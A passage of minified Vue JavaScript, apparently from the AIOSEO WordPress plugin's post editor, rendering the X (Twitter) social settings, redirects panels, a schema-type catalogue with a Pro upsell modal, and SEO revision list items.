this.postEditorStore.currentPost.twitter_card==="summary"||this.postEditorStore.currentPost.twitter_card==="default"&&this.optionsStore.options.social.twitter.general.defaultCardType==="summary"?this.strings.minimumSizeSummary:this.postEditorStore.currentPost.twitter_card==="summary_large_image"||this.postEditorStore.currentPost.twitter_card==="default"&&this.optionsStore.options.social.twitter.general.defaultCardType==="summary_large_image"?this.strings.minimumSizeSummaryWithLarge:""}},methods:{getCardOptions(t){return this.twitterCardOptions.find(e=>e.value===t)},cardSelect(t){this.postEditorStore.currentPost.twitter_card=t,this.postEditorStore.isDirty=!0},scrollToElement(){const t=document.getElementsByClassName("component-wrapper")[0];setTimeout(()=>{t&&(t.firstChild.scrollTop=0)},10)},saveTwitterImageType(t){this.postEditorStore.currentPost.twitter_image_type=t,this.postEditorStore.isDirty=!0},updateImage(t){this.postEditorStore.currentPost.twitter_image_custom_url=t,this.postEditorStore.savePostState()},handleImageUpdate(){this.setImageUrl("twitter")}},watch:{"postEditorStore.currentPost.twitter_use_og"(){this.handleImageUpdate()},"postEditorStore.currentPost.twitter_image_type"(){this.handleImageUpdate()},"postEditorStore.currentPost.twitter_image_custom_url"(){this.handleImageUpdate()}},mounted(){window.aioseoBus.$on("updateSocialImagePreview",t=>{t.social==="facebook"&&(this.facebookImageUrl=t.image)}),this.scrollToElement(),this.setImageUrl("facebook"),this.setImageUrl("twitter"),window.aioseoBus.$on("updateFeaturedImage",this.handleImageUpdate)},beforeUnmount(){window.aioseoBus.$off("updateFeaturedImage",this.handleImageUpdate)}},wa={class:"tab-twitter"},Ca={id:"aioseo-post-settings-twitter"},$a=["innerHTML"],Pa=["innerHTML"];function Ea(t,e,i,s,o,r){const u=a("core-alert"),c=a("core-twitter-preview"),p=a("core-settings-row"),S=a("base-toggle"),C=a("core-html-tags-editor"),$=a("base-select"),v=a("base-input"),b=a("core-image-uploader");return n(),f("div",wa,[d(p,{class:"snippet-preview-row"},{name:l(()=>[h("span",null,m(o.strings.twitterPreview),1)]),description:l(()=>[h("i",null,m(o.strings.twitterPreviewDescription),1)]),content:l(()=>[s.optionsStore.options.social.twitter.general.enable?g("",!0):(n(),_(u,{key:0,class:"twitter-disabled-warning",innerHTML:o.strings.twitterDisabled,type:"red"},null,8,["innerHTML"])),d(c,{card:s.postEditorStore.currentPost.twitter_card,description:r.previewDescription,image:r.previewImage,loading:t.loading,title:r.previewTitle},null,8,["card","description","image","loading","title"])]),_:1}),h("div",Ca,[d(p,{name:o.strings.useFB,class:"use-facebook"},{content:l(()=>[d(S,{modelValue:s.postEditorStore.currentPost.twitter_use_og,"onUpdate:modelValue":[e[0]||(e[0]=k=>s.postEditorStore.currentPost.twitter_use_og=k),e[1]||(e[1]=k=>s.postEditorStore.isDirty=!0)]},null,8,["modelValue"])]),_:1},8,["name"]),s.postEditorStore.currentPost.twitter_use_og?g("",!0):(n(),_(p,{key:0,name:o.strings.twitterTitle,class:"twitter-title-settings",align:""},{content:l(()=>[d(C,{class:"twitter-meta-input",modelValue:s.postEditorStore.currentPost.twitter_title,"onUpdate:modelValue":[e[2]||(e[2]=k=>s.postEditorStore.currentPost.twitter_title=k),e[4]||(e[4]=k=>s.postEditorStore.isDirty=!0)],"line-numbers":!1,single:"",onCounter:e[3]||(e[3]=k=>t.updateCount(k,"titleCount")),"tags-context":`${s.postEditorStore.currentPost.postType||s.postEditorStore.currentPost.termType}Title`,"default-tags":o.tags.getDefaultTags(s.postEditorStore.currentPost.context==="term"?"taxonomies":null,null,"title")},null,8,["modelValue","tags-context","default-tags"]),h("div",{class:"max-recommended-count",innerHTML:t.maxRecommendedCount(o.titleCount,70)},null,8,$a)]),_:1},8,["name"])),s.postEditorStore.currentPost.twitter_use_og?g("",!0):(n(),_(p,{key:1,name:o.strings.twitterDescription,class:"twitter-description-settings",align:""},{content:l(()=>[d(C,{class:"twitter-meta-input",modelValue:s.postEditorStore.currentPost.twitter_description,"onUpdate:modelValue":[e[5]||(e[5]=k=>s.postEditorStore.currentPost.twitter_description=k),e[7]||(e[7]=k=>s.postEditorStore.isDirty=!0)],"line-numbers":!1,description:"",onCounter:e[6]||(e[6]=k=>t.updateCount(k,"descriptionCount")),"tags-context":`${s.postEditorStore.currentPost.postType||s.postEditorStore.currentPost.termType}Description`,"default-tags":o.tags.getDefaultTags(s.postEditorStore.currentPost.context==="term"?"taxonomies":null,null,"description")},{"tags-description":l(()=>[w(m(o.strings.clickToAddHomePageDescription),1)]),_:1},8,["modelValue","tags-context","default-tags"]),h("div",{class:"max-recommended-count",innerHTML:t.maxRecommendedCount(o.descriptionCount,200)},null,8,Pa)]),_:1},8,["name"])),s.postEditorStore.currentPost.twitter_use_og?g("",!0):(n(),_(p,{key:2,class:"twitter-image-source",name:o.strings.imageSource,align:""},{content:l(()=>[d($,{size:"medium",options:t.imageSourceOptionsFiltered,modelValue:t.getImageSourceOptionFiltered(s.postEditorStore.currentPost.twitter_image_type),"onUpdate:modelValue":e[8]||(e[8]=k=>r.saveTwitterImageType(k.value))},null,8,["options","modelValue"])]),_:1},8,["name"])),!s.postEditorStore.currentPost.twitter_use_og&&s.postEditorStore.currentPost.twitter_image_type==="custom"?(n(),_(p,{key:3,class:"twitter-custom-field",name:o.strings.customFieldsName,align:""},{content:l(()=>[d(v,{type:"text",size:"medium",placeholder:o.strings.placeholder,modelValue:s.postEditorStore.currentPost.twitter_image_custom_fields,"onUpdate:modelValue":[e[9]||(e[9]=k=>s.postEditorStore.currentPost.twitter_image_custom_fields=k),e[10]||(e[10]=k=>s.postEditorStore.isDirty=!0)]},null,8,["placeholder","modelValue"])]),_:1},8,["name"])):g("",!0),!s.postEditorStore.currentPost.twitter_use_og&&s.postEditorStore.currentPost.twitter_image_type==="custom_image"?(n(),_(p,{key:4,class:"twitter-image",name:o.strings.twitterImage},{content:l(()=>[d(b,{description:r.twitterImageUploaderDescription,modelValue:s.postEditorStore.currentPost.twitter_image_custom_url,"onUpdate:modelValue":e[11]||(e[11]=k=>s.postEditorStore.currentPost.twitter_image_custom_url=k)},null,8,["description","modelValue"])]),_:1},8,["name"])):g("",!0),d(p,{class:"twitter-card-type",name:o.strings.twitterCardType,align:""},{content:l(()=>[d($,{size:"medium","open-direction":"top",options:t.twitterCardOptions,modelValue:r.getCardOptions(s.postEditorStore.currentPost.twitter_card),"onUpdate:modelValue":e[12]||(e[12]=k=>r.cardSelect(k.value))},null,8,["options","modelValue"])]),_:1},8,["name"])])])}const Ta=y(ka,[["render",Ea]]),xa={setup(){return{postEditorStore:P(),settingsStore:Y()}},components:{CoreSettingsRow:V,SvgPencil:ft},data(){return{strings:{title:this.$t.__("Social Media",this.$td),sidebarCopy:this.$t.__("Here you can view and edit the thumbnail, title and description that will be displayed when your site is shared on social media. Click on the button below to view and edit the preview.",this.$td),editSnippet:this.$t.__("Preview & Edit",this.$td)}}},methods:{openModalEv(){this.settingsStore.changeTabSettings({setting:"modal",value:"social"}),this.postEditorStore.currentPost.modalOpen=!0}}},Aa={class:"aioseo-sidebar-content-title"};function La(t,e,i,s,o,r){const u=a("svg-pencil"),c=a("base-button"),p=a("core-settings-row");return t.$root._data.screenContext==="sidebar"?(n(),_(p,{key:0,name:o.strings.metaDescription,class:"snippet-description-row open-social-copy"},{content:l(()=>[h("div",Aa,m(o.strings.title),1),h("p",null,m(o.strings.sidebarCopy),1),d(c,{class:"open-social-modal gray small",onClick:r.openModalEv},{default:l(()=>[d(u),w(" "+m(o.strings.editSnippet),1)]),_:1},8,["onClick"])]),_:1},8,["name"])):g("",!0)}const Ma=y(xa,[["render",La]]),Ha={setup(){return{postEditorStore:P(),settingsStore:Y()}},components:{BaseRadioToggle:ye,CoreMainTabs:st,CoreSettingsRow:V,Facebook:va,Twitter:Ta,SocialSideBar:Ma},props:{parentComponentContext:String},data(){return{strings:{pageName:this.$t.__("Social",this.$td)},tabs:[{slug:"facebook",name:this.$t.__("Facebook",this.$td)},{slug:"twitter",name:this.$t.__("X (Twitter)",this.$td)}]}},computed:{initTab:function(){let t=this.settingsStore.metaBoxTabs.social;return this.parentComponentContext==="modal"&&(t=this.settingsStore.metaBoxTabs.socialModal),t}},mounted(){nt()["social-tab"]&&(this.processChangeTab(nt()["social-tab"]),setTimeout(()=>{Lt("social-tab")},500))},methods:{processChangeTab(t){this.parentComponentContext==="modal"?this.settingsStore.changeTabSettings({setting:"socialModal",value:t}):this.settingsStore.changeTabSettings({setting:"social",value:t})}}},Ia={class:"aioseo-tab-content aioseo-post-social"};function Ba(t,e,i,s,o,r){const u=a("core-main-tabs"),c=a("core-settings-row"),p=a("social-side-bar");return n(),f("div",Ia,[t.$root._data.screenContext==="metabox"||i.parentComponentContext==="modal"?(n(),_(c,{key:0,"no-border":""},{content:l(()=>[d(u,{tabs:o.tabs,showSaveButton:!1,active:r.initTab,internal:"",onChanged:e[0]||(e[0]=S=>r.processChangeTab(S)),disableMobile:""},null,8,["tabs","active"])]),_:1})):g("",!0),t.$root._data.screenContext==="metabox"||i.parentComponentContext==="modal"?(n(),_(at,{key:1,name:"route-fade",mode:"out-in"},{default:l(()=>[(n(),_(B(r.initTab)))]),_:1})):g("",!0),this.parentComponentContext!=="modal"?(n(),_(p,{key:2})):g("",!0)])}const Ie=y(Ha,[["render",Ba]]),Ra={setup(){return{settingsStore:Y()}},components:{CoreMainTabs:st,CoreSettingsRow:V,General:He,Social:Ie,SvgSettings:fe,SvgShare:Ee},data(){return{strings:{pageName:this.$t.__("Modal Content",this.$td)},tabs:[{slug:"general",icon:"svg-settings",name:this.$t.__("General",this.$td)},{slug:"social",icon:"svg-share",name:this.$t.__("Social",this.$td)}]}},computed:{getTabs(){return this.tabs.filter(t=>W(`aioseo_page_${t.slug}_settings`))}},methods:{processChangeTab(t){this.settingsStore.changeTabSettings({setting:"modal",value:t})}}},Oa={class:"aioseo-modal-content"},Da={class:"mobile-radio-buttons"},Na={class:"component-wrapper"};function Va(t,e,i,s,o,r){const u=a("core-main-tabs");return n(),f("div",Oa,[h("div",Da,[d(u,{tabs:r.getTabs,showSaveButton:!1,active:s.settingsStore.metaBoxTabs.modal||"general",internal:"",onChanged:e[0]||(e[0]=c=>r.processChangeTab(c))},null,8,["tabs","active"])]),h("div",Na,[d(at,{name:"route-fade",mode:"out-in"},{default:l(()=>[(n(),_(B(s.settingsStore.metaBoxTabs.modal||"general"),{parentComponentContext:"modal"}))]),_:1})])])}const Ua=y(Ra,[["render",Va]]),Ka={setup(){return{postEditorStore:P()}},components:{CoreSettingsRow:V,SvgRightArrowShort:Ft},data(){return{strings:{title:this.$t.__("Redirects",this.$td),description:this.$t.__("Here you can add a redirect or view your existing redirects from this page. Click on the button below to view the Redirects panel.",this.$td),button:this.$t.__("Open Redirects",this.$td)}}}},Ga={class:"aioseo-redirects-sidebar"},Fa={class:"aioseo-sidebar-content-title"};function qa(t,e,i,s,o,r){const u=a("svg-right-arrow-short"),c=a("base-button"),p=a("core-settings-row");return n(),f("div",Ga,[t.$root._data.screenContext==="sidebar"?(n(),_(p,{key:0,class:"snippet-description-row open-redirects-copy"},{content:l(()=>[h("div",Fa,m(o.strings.title),1),h("p",null,m(o.strings.description),1),d(c,{class:"open-redirects-modal gray small",onClick:e[0]||(e[0]=S=>s.postEditorStore.currentPost.redirects.modalOpen=!0)},{default:l(()=>[d(u),w(" "+m(o.strings.button),1)]),_:1})]),_:1})):g("",!0)])}const za=y(Ka,[["render",qa],["__scopeId","data-v-9484ed37"]]),Wa={setup(){return{postEditorStore:P()}},components:{CoreModal:J,RedirectsSideBar:za,RedirectsLite:js},props:{parentComponentContext:String},data(){return{strings:{modalHeader:this.$t.__("Redirects",this.$td)}}}},ja={class:"bd"};function Ya(t,e,i,s,o,r){const u=a("redirects-lite"),c=a("core-modal"),p=a("redirects-side-bar");return n(),f("div",null,[t.$root._data.screenContext==="metabox"?(n(),_(u,{key:0,noCoreCard:!0,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):g("",!0),d(c,{show:s.postEditorStore.currentPost.redirects.modalOpen&&t.$root._data.screenContext==="sidebar",classes:["aioseo-redirects"],onClose:e[0]||(e[0]=S=>s.postEditorStore.currentPost.redirects.modalOpen=!1)},{headerTitle:l(()=>[w(m(o.strings.modalHeader),1)]),body:l(()=>[h("div",ja,[d(u,{noCoreCard:!0,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])])]),_:1},8,["show"]),this.parentComponentContext!=="modal"?(n(),_(p,{key:1})):g("",!0)])}const re=y(Wa,[["render",Ya]]),Za={};function Ja(t,e){return n(),f("div")}const Xa=y(Za,[["render",Ja]]),Qa={setup(){return{addons:be,licenseStore:O()}},components:{Redirects:re,RedirectsActivate:Xa,RedirectsLite:re},props:{parentComponentContext:String}},tl={class:"aioseo-tab-content"};function el(t,e,i,s,o,r){const u=a("Redirects",!0),c=a("RedirectsLite"),p=a("RedirectsActivate");return n(),f("div",tl,[!s.licenseStore.isUnlicensed&&s.addons.isActive("aioseo-redirects")&&!s.addons.requiresUpgrade("aioseo-redirects")?(n(),_(u,{key:0,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):g("",!0),s.licenseStore.isUnlicensed||s.addons.requiresUpgrade("aioseo-redirects")?(n(),_(c,{key:1,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):g("",!0),!s.licenseStore.isUnlicensed&&!s.addons.isActive("aioseo-redirects")&&s.addons.canActivate("aioseo-redirects")&&!s.addons.requiresUpgrade("aioseo-redirects")?(n(),_(p,{key:2,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):g("",!0)])}const sl=y(Qa,[["render",el]]),ol={};function il(t,e){return n(),f("div")}const rl=y(ol,[["render",il]]),nl={};function al(t,e){return n(),f("div")}const ll=y(nl,[["render",al]]),dl={};function cl(t,e){return n(),f("div")}const hl=y(dl,[["render",cl]]),ul={};function pl(t,e){return n(),f("div")}const gl=y(ul,[["render",pl]]),ml={};function _l(t,e){return n(),f("div")}const fl=y(ml,[["render",_l]]),Sl={};function yl(t,e){return n(),f("div")}const bl=y(Sl,[["render",yl]]),vl={};function kl(t,e){return n(),f("div")}const wl=y(vl,[["render",kl]]),Cl={};function $l(t,e){return n(),f("div")}const Pl=y(Cl,[["render",$l]]),El={};function Tl(t,e){return n(),f("div")}const xl=y(El,[["render",Tl]]),Al={};function Ll(t,e){return n(),f("div")}const Ml=y(Al,[["render",Ll]]),Hl={};function Il(t,e){return n(),f("div")}const Bl=y(Hl,[["render",Il]]),Rl={};function Ol(t,e){return n(),f("div")}const Dl=y(Rl,[["render",Ol]]),Nl={};function Vl(t,e){return n(),f("div")}const Ul=y(Nl,[["render",Vl]]),Kl={};function Gl(t,e){return n(),f("div")}const Fl=y(Kl,[["render",Gl]]),ql={};function zl(t,e){return n(),f("div")}const Wl=y(ql,[["render",zl]]),jl={};function Yl(t,e){return n(),f("div")}const Zl=y(jl,[["render",Yl]]),Jl={};function Xl(t,e){return n(),f("div")}const Ql=y(Jl,[["render",Xl]]),td={};function ed(t,e){return n(),f("div")}const sd=y(td,[["render",ed]]),od={},id={viewBox:"0 0 11 12",fill:"currentColor",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-trash"},rd=h("path",{d:"M8.0013 4V10.6667H2.66797V4H8.0013ZM7.0013 0H3.66797L3.0013 0.666667H0.667969V2H10.0013V0.666667H7.66797L7.0013 0ZM9.33463 2.66667H1.33464V10.6667C1.33464 11.4 1.93464 12 2.66797 12H8.0013C8.73464 12 9.33463 11.4 9.33463 10.6667V2.66667Z",fill:"currentColor"},null,-1),nd=[rd];function ad(t,e){return n(),f("svg",id,nd)}const ld=y(od,[["render",ad]]),Be={components:{Article:rl,Book:ll,Course:hl,Dataset:gl,Event:fl,FAQPage:bl,FactCheck:wl,HowTo:Pl,JobPosting:xl,Movie:Ml,Music:Bl,Person:Dl,Product:Ul,Recipe:Fl,Service:Wl,SoftwareApplication:Zl,Video:Ql,WebPage:sd,SvgArticle:hs,SvgBook:us,SvgCircleQuestionMark:Nt,SvgCustomSchema:ps,SvgCopy:gs,SvgCourse:ms,SvgDataset:_s,SvgEvent:fs,SvgFaqPage:Ss,SvgFactCheck:ys,SvgFile:bs,SvgFileEdit:vs,SvgGoogleSmall:ks,SvgHowTo:ws,SvgJobPosting:Cs,SvgMovie:$s,SvgMusic:Ps,SvgPencil:ft,SvgPerson:Es,SvgProduct:Ts,SvgRecipe:xs,SvgService:As,SvgSoftwareApplication:Ls,SvgTerminal:Ms,SvgTrash:ld,SvgVideo:Hs,SvgWebPage:Is},data(){return{graphs:[{slug:"article",graphName:"Article",label:this.$t.__("Article",this.$td)},{slug:"book",graphName:"Book",label:this.$t.__("Book",this.$td)},{slug:"course",graphName:"Course",label:this.$t.__("Course",this.$td)},{slug:"dataset",graphName:"Dataset",label:this.$t.__("Dataset",this.$td)},{slug:"event",graphName:"Event",label:this.$t.__("Event",this.$td)},{slug:"faq-page",graphName:"FAQPage",label:this.$t.__("FAQ",this.$td)},{slug:"fact-check",graphName:"FactCheck",label:this.$t.__("Fact Check",this.$td)},{slug:"how-to",graphName:"HowTo",label:this.$t.__("How To",this.$td)},{slug:"job-posting",graphName:"JobPosting",label:this.$t.__("Job Posting",this.$td)},{slug:"movie",graphName:"Movie",label:this.$t.__("Movie",this.$td)},{slug:"music",graphName:"Music",label:this.$t.__("Music",this.$td)},{slug:"person",graphName:"Person",label:this.$t.__("Person",this.$td)},{slug:"product",graphName:"Product",label:this.$t.__("Product",this.$td)},{slug:"recipe",graphName:"Recipe",label:this.$t.__("Recipe",this.$td)},{slug:"service",graphName:"Service",label:this.$t.__("Service",this.$td)},{slug:"software-application",graphName:"SoftwareApplication",label:this.$t.__("Software",this.$td)},{slug:"video",graphName:"Video",label:this.$t.__("Video",this.$td)},{slug:"web-page",graphName:"WebPage",label:this.$t.__("Web Page",this.$td)}],childGraphs:{Article:[{childGraphName:"BlogPosting",label:this.$t.__("Blog Post",this.$td)},{childGraphName:"NewsArticle",label:this.$t.__("News Article",this.$td)}],Music:[{childGraphName:"MusicAlbum",label:this.$t.__("Music Album",this.$td)},{childGraphName:"MusicGroup",label:this.$t.__("Music Group",this.$td)}],WebPage:[{childGraphName:"WebPage",label:this.$t.__("Web Page",this.$td)},{childGraphName:"AboutPage",label:this.$t.__("About Page",this.$td)},{childGraphName:"CheckoutPage",label:this.$t.__("Checkout Page",this.$td)},{childGraphName:"CollectionPage",label:this.$t.__("Collection Page",this.$td)},{childGraphName:"ContactPage",label:this.$t.__("Contact Page",this.$td)},{childGraphName:"ItemPage",label:this.$t.__("Item Page",this.$td)},{childGraphName:"MedicalPage",label:this.$t.__("Medical Page",this.$td)},{childGraphName:"ProfilePage",label:this.$t.__("Profile Page",this.$td)},{childGraphName:"RealEstateListing",label:this.$t.__("Real Estate Listing",this.$td)},{childGraphName:"SearchResultsPage",label:this.$t.__("Search Results Page",this.$td)}]}}},methods:{getParentGraphName(t){let e="";return Object.entries(this.childGraphs).forEach(i=>{const s=i[0];i[1].forEach(o=>{e||t===o.childGraphName&&(e=s)})}),e||t}}},dd={mixins:[Be],props:{graph:Object,customGraph:Boolean,defaultGraph:String},computed:{graphLabel(){if(this.customGraph)return this.$t.__("Custom Schema",this.$td)+" - "+this.graph.graphName;if(this.defaultGraph)return this.formatDefaultGraphName(this.defaultGraph);if(this.graph.label)return this.graph.label;const t=this.graph.slug.toLowerCase();return this.graphs.find(e=>e.slug===t).label},graphIcon(){if(this.customGraph)return"svg-custom-schema";if(this.defaultGraph){const t=this.getParentGraphSlug(this.defaultGraph);return t?"svg-"+t:"svg-custom-schema"}return"svg-"+this.graph.slug}},methods:{getParentGraphSlug(t){Object.entries(this.childGraphs).forEach(i=>{const s=i[0];i[1].forEach(o=>{t===o.childGraphName&&(t=s)})});let e="";return this.graphs.forEach(i=>{i.graphName===t&&(e=i.slug)}),e},formatDefaultGraphName(t){let e="",i=t;return Object.entries(this.childGraphs).forEach(s=>{const o=s[0];s[1].forEach(r=>{e||t===r.childGraphName&&(e=o,i=r.label,this.graphs.forEach(u=>{u.graphName===o&&(e=u.label)}))})}),e?e+" - "+i+" "+this.$t.__("(Default)",this.$td):t+" "+this.$t.__("(Default)",this.$td)}}},cd={class:"graph-container"},hd={class:"graph"},ud={class:"left"},pd=["title"],gd={class:"right action-buttons"};function md(t,e,i,s,o,r){return n(),f("div",cd,[h("div",hd,[h("div",ud,[(n(),_(B(r.graphIcon))),h("span",{title:r.graphLabel},m(r.graphLabel),9,pd)]),h("div",gd,[q(t.$slots,"buttons")])])])}const Re=y(dd,[["render",md]]),_d={emits:["close"],mixins:[Be],components:{CoreBlur:Gt,CoreMainTabs:st,CoreModal:J,CoreTooltip:G,Cta:ve,GraphCard:Re,SvgCirclePlus:Vt},data(){return{strings:{schemaGenerator:this.$t.__("Schema Generator",this.$td),headerTooltip:this.$t.sprintf(this.$t.__("Use our powerful Schema Generator to configure Schema Markup for your content. Search Engines use structured data to better understand what your site is about as well as to display rich snippets in search results. %1$s",this.$td),this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"schema",!0)),searchSchema:this.$t.__("Search Schema",this.$td),ctaDescription:this.$t.__("Easily generate unlimited schema markup for your content to help you rank higher in search results. Our schema validator ensures your schema works out of the box.",this.$td),ctaButtonText:this.$t.__("Unlock Schema Generator",this.$td),ctaHeader:this.$t.sprintf(this.$t.__("Schema Generator is a %1$s Feature",this.$td),"PRO")},features:[this.$t.__("Unlimited Schema",this.$td),this.$t.__("Validate with Google",this.$td),this.$t.__("Increase Rankings",this.$td),this.$t.__("Additional Schema Types",this.$td)],tabs:[{slug:"schema-templates",icon:"svg-file",name:this.$t.__("Schema Templates",this.$td),component:"templates"},{slug:"custom-schema",icon:"svg-file-edit",name:this.$t.__("Custom Schema",this.$td),component:"custom"},{slug:"schema-validation",icon:"svg-terminal",name:this.$t.__("Schema Validation",this.$td),component:"validation"}],templatesTabs:[{slug:"schema-catalog",name:this.$t.__("Schema Catalog",this.$td)},{slug:"your-templates",name:this.$t.__("Your Templates",this.$td)}]}}},fd={class:"title"},Sd=["innerHTML"],yd={class:"schema-templates"},bd={class:"main"},vd={class:"schema-catalog"},kd={class:"graphs"};function wd(t,e,i,s,o,r){const u=a("svg-circle-question-mark"),c=a("core-tooltip"),p=a("core-main-tabs"),S=a("base-input"),C=a("svg-circle-plus"),$=a("base-button"),v=a("graph-card"),b=a("core-blur"),k=a("cta"),M=a("core-modal");return n(),_(M,{classes:["aioseo-post-schema-modal-cta"],onClose:e[0]||(e[0]=L=>t.$emit("close"))},{headerTitle:l(()=>[h("div",fd,m(o.strings.schemaGenerator),1),d(c,null,{tooltip:l(()=>[h("span",{innerHTML:o.strings.headerTooltip},null,8,Sd)]),default:l(()=>[d(u)]),_:1})]),body:l(()=>[d(b,null,{default:l(()=>[d(p,{tabs:o.tabs,active:"schema-templates",showSaveButton:!1},{"var-tab-icon":l(({tab:L})=>[(n(),_(B(L.icon)))]),_:1},8,["tabs"]),h("div",yd,[d(p,{tabs:o.templatesTabs,active:"schema-catalog",showSaveButton:!1},{"var-tab-icon":l(({tab:L})=>[(n(),_(B(L.icon)))]),_:1},8,["tabs"]),h("div",bd,[d(S,{class:"search",size:"medium",prependIcon:"search",placeholder:o.strings.searchSchema},null,8,["placeholder"]),h("div",vd,[h("div",kd,[(n(!0),f(j,null,et(t.graphs,(L,Q)=>(n(),_(v,{key:L.graphName+Q,graph:L},{buttons:l(()=>[d($,{class:"small",type:"gray"},{default:l(()=>[d(C)]),_:1})]),_:2},1032,["graph"]))),128))])])])])]),_:1}),d(k,{"cta-link":t.$links.getPricingUrl("schema-generator","schema-generator-upsell"),"button-text":o.strings.ctaButtonText,"learn-more-link":t.$links.getUpsellUrl("schema-generator",null,t.$isPro?"pricing":"liteUpgrade"),"feature-list":o.features},{"header-text":l(()=>[w(m(o.strings.ctaHeader),1)]),description:l(()=>[w(m(o.strings.ctaDescription),1)]),_:1},8,["cta-link","button-text","learn-more-link","feature-list"])]),_:1})}const Cd=y(_d,[["render",wd]]),$d={setup(){return{postEditorStore:P()}},components:{CoreAlert:K,CoreSettingsRow:V,CoreTooltip:G,CtaModal:Cd,GraphCard:Re,SvgEye:Ut},props:{parentComponentContext:String},data(){return{modalOpenMetabox:!1,modalOpenSidebar:!1,strings:{sidebarDescription:this.$t.__("Configure Schema Markup for your content. Search engines use structured data to display rich results in SERPs.",this.$td),noGraphs:this.$t.__("You have not added any schema yet. You can add any schema graphs you like via the Schema Generator below.",this.$td),schemaInUse:this.$t.__("Schema In Use",this.$td),generateSchema:this.$t.__("Generate Schema",this.$td),validateSchema:this.$t.__("Validate Schema",this.$td),defaultGraphTooltip:this.$t.__("This is the default graph for this post type. All data for this graph will be automatically generated.",this.$td)}}},computed:{isSidebar(){return this.$root._data.screenContext==="sidebar"}}},Pd={class:"graphs"},Ed={key:0,class:"sidebar-description"},Td={class:"description"},xd=["innerHTML"],Ad=["innerHTML"],Ld={class:"buttons"};function Md(t,e,i,s,o,r){const u=a("svg-eye"),c=a("base-button"),p=a("core-tooltip"),S=a("graph-card"),C=a("core-alert"),$=a("cta-modal"),v=a("core-settings-row");return n(),f("div",{class:E(["aioseo-tab-content aioseo-post-schema",[{sidebar:r.isSidebar}]])},[d(v,{name:o.strings.schemaInUse},{content:l(()=>[h("div",Pd,[r.isSidebar?(n(),f("div",Ed,[h("p",Td,m(o.strings.sidebarDescription),1),h("p",{class:"description",innerHTML:t.$links.getDocLink(t.$constants.GLOBAL_STRINGS.learnMore,"schema",!0)},null,8,xd)])):g("",!0),s.postEditorStore.currentPost.schema.default.graphName&&s.postEditorStore.currentPost.schema.default.isEnabled?(n(),_(S,{key:1,defaultGraph:s.postEditorStore.currentPost.schema.default.graphName},{buttons:l(()=>[d(p,{offset:r.isSidebar?"-70px,0":"0,0"},{tooltip:l(()=>[h("span",{innerHTML:o.strings.defaultGraphTooltip},null,8,Ad)]),default:l(()=>[d(c,{class:"small no-hover",type:"gray"},{default:l(()=>[d(u)]),_:1})]),_:1},8,["offset"])]),_:1},8,["defaultGraph"])):g("",!0)]),h("div",Ld,[!s.postEditorStore.currentPost.schema.default.graphName||!s.postEditorStore.currentPost.schema.default.isEnabled?(n(),_(C,{key:0,class:"no-graphs",type:"yellow"},{default:l(()=>[w(m(o.strings.noGraphs),1)]),_:1})):g("",!0),d(c,{class:"medium",type:"blue",onClick:e[0]||(e[0]=b=>{o.modalOpenMetabox=!0,o.modalOpenSidebar=!0})},{default:l(()=>[w(m(o.strings.generateSchema),1)]),_:1}),d(c,{class:"medium",type:"gray",onClick:e[1]||(e[1]=b=>{o.modalOpenMetabox=!0,o.modalOpenSidebar=!0})},{default:l(()=>[w(m(o.strings.validateSchema),1)]),_:1})]),d($,{show:!r.isSidebar&&o.modalOpenMetabox,onClose:e[2]||(e[2]=b=>o.modalOpenMetabox=!1)},null,8,["show"]),d($,{show:r.isSidebar&&o.modalOpenSidebar,onClose:e[3]||(e[3]=b=>o.modalOpenSidebar=!1)},null,8,["show"])]),_:1},8,["name"])],2)}const ne=y($d,[["render",Md]]),Hd={setup(){return{licenseStore:O()}},components:{Schema:ne,SchemaLite:ne},props:{parentComponentContext:String}},Id={class:"aioseo-post-schema-view"};function Bd(t,e,i,s,o,r){const u=a("schema",!0),c=a("schema-lite");return n(),f("div",Id,[s.licenseStore.isUnlicensed?g("",!0):(n(),_(u,{key:0,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])),s.licenseStore.isUnlicensed?(n(),_(c,{key:1,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):g("",!0)])}const Rd=y(Hd,[["render",Bd]]),Oe=t=>(pe("data-v-20175fdb"),t=t(),ge(),t),Od={class:"aioseo-seo-revision-list-item"},Dd={class:"aioseo-seo-revision-list-item__author"},Nd={class:"aioseo-seo-revision-list-item__author__avatar"},Vd={class:"aioseo-seo-revision-list-item__author__name"},Ud=Oe(()=>h("div",{class:"aioseo-seo-revision-list-item__date"}," 1 week ago (2 Dec, 2022 @ 18:28:57) ",-1)),Kd={class:"aioseo-seo-revision-list-item__action"},Gd=Oe(()=>h("span",{class:"aioseo-seo-revision-list-item__action__compare"}," Compare ",-1)),Fd={class:"aioseo-seo-revision-list-item__action__view"},qd={class:"aioseo-seo-revision-list-item__action__delete"},zd={__name:"ListItem",setup(t){const{currentUser:e}=ce(lt());return(i,s)=>(n(),f("div",Od,[h("div",Dd,[h("span",Nd,[d(z(Ys),{src:z(e).avatar.url,size:z(e).avatar.size},null,8,["src","size"])]),h("span",Vd,m(z(Fe)(z(e).display_name,30)),1)]),Ud,h("div",Kd,[Gd,h("span",Fd,[d(z(Ut),{width:"18"})]),h("span",qd,[d(z(St),{width:"18"})])])]))}},Wd=y(zd,[["__scopeId","data-v-20175fdb"]]),jd={components:{SeoRevisionListItem:Wd}},Yd={class:"aioseo-seo-revisions-list"};function Zd(t,e,i,s,o,r){const u=a("seo-revision-list-item");return n(),f("div",Yd,[(n(),f(j,null,et(13,c=>d(u,{key:"seo-revision-list-item-"+c})),64))])}const Jd=y(jd,[["render",Zd],["__scopeId","data-v-7b502c37"]]),Xd={setup(){return{seoRevisionsStore:lt()}},components:{CoreBlur:Gt,CoreModal:J,CoreSettingsRow:V,SeoRevisionsList:Jd,SeoRevisionsUpsell:Zs,SvgRightArrowShort:Ft},data(){return{strings:{button:this.$t.__("Open SEO Revisions",this.$td),description:this.$t.__("With our powerful revisions feature for all your SEO data, never lose the exact SEO title or description (and more!) that helped you rank higher in search results and restore it back in a single click.",this.$td),seoRevisions:this.$t.__("SEO 